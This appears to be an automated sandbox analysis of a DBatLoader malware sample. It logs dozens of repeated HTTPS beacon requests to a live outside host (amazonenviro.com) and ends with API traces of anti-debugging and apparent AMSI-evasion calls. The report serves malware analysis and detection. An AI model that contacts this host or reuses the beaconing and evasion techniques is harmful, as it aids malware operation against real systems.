2025-01-14 07:25:24 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:25 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:25 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	50057	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:26 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:27 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:26 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	50059	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:28 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:28 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:28 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	50061	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:29 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:30 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:30 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	50063	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:31 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:31 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:31 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	50065	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:32 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:33 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:33 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	50067	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:34 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:35 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:34 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	50069	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:36 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:36 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:36 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	50071	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:37 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:38 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:38 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	50073	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:39 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:39 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:39 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	50075	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:41 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:41 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:41 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	50077	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:42 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:43 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:43 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	50079	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:44 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:44 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:44 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	50081	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:45 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:46 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:46 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	50083	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:47 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:48 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:47 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	50085	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:49 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:49 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:49 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	50087	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:50 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:51 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:51 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	50089	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:52 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:52 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:52 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	50091	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:53 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:54 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:54 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	50093	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:55 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:56 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:56 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	50095	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:57 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:57 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:57 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	50097	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:58 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:59 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:59 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	50099	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:00 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:01 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:00 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	50101	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:02 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:02 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:02 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	50103	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:03 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:04 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:04 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	50105	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:05 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:05 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:05 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	50107	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:06 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:07 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:07 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	50109	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:08 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:09 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:08 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	50111	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:10 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:10 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:10 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	50113	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:11 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:12 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:12 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	50115	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:13 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:14 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:13 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	50117	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:15 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:15 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:15 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	50119	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:16 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:17 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:17 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	50121	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:18 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:18 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:18 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	50123	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:19 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:20 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:20 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	50125	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:21 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:22 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:22 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	02:24:15
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\JDQS879kiy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\JDQS879kiy.exe"
Imagebase:	0x400000
File size:	1'161'216 bytes
MD5 hash:	E9802E45A66C963CED0E7C60C899C5CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.2622490407.0000000002356000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.2636506576.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	14.6%
Total number of Nodes:	268
Total number of Limit Nodes:	16

Executed Functions

Function 0285F0A8 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InetIsOffline.URL(00000000,00000000,0286B3D5,?,?,?,000002F7,00000000,00000000), ref: 0285F0E2

Part of subcall function 0285881C: LoadLibraryA.KERNEL32(00000000,00000000,02858903), ref: 02858850
Part of subcall function 0285881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02858903), ref: 02858860
Part of subcall function 0285881C: GetProcAddress.KERNEL32(75380000,00000000), ref: 02858879
Part of subcall function 0285881C: FreeLibrary.KERNEL32(75380000,00000000,028A2388,Function_000065D8,00000004,028A2398,028A2388,000186A3,00000040,028A239C,75380000,00000000,00000000,00000000,00000000,02858903), ref: 028588E3

Part of subcall function 0285EFC8: GetModuleHandleW.KERNEL32(KernelBase,?,0285F3CC,UacInitialize,028A237C,0286B40C,UacScan,028A237C,0286B40C,ScanBuffer,028A237C,0286B40C,OpenSession,028A237C,0286B40C,ScanString), ref: 0285EFCE
Part of subcall function 0285EFC8: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0285EFE0

Part of subcall function 0285F024: GetModuleHandleW.KERNEL32(KernelBase), ref: 0285F034
Part of subcall function 0285F024: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0285F046
Part of subcall function 0285F024: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0285F05D

Part of subcall function 02847E10: GetFileAttributesA.KERNEL32(00000000,?,0285FD00,ScanString,028A237C,0286B40C,OpenSession,028A237C,0286B40C,ScanString,028A237C,0286B40C,UacScan,028A237C,0286B40C,UacInitialize), ref: 02847E1B

Part of subcall function 0284C2E4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,029968C8,?,02860032,ScanBuffer,028A237C,0286B40C,OpenSession,028A237C,0286B40C,ScanBuffer,028A237C,0286B40C,OpenSession), ref: 0284C2FB

Part of subcall function 0285DFE4: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0285E0B4), ref: 0285E01F
Part of subcall function 0285DFE4: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0285E0B4), ref: 0285E04F
Part of subcall function 0285DFE4: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0285E064
Part of subcall function 0285DFE4: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0285E090
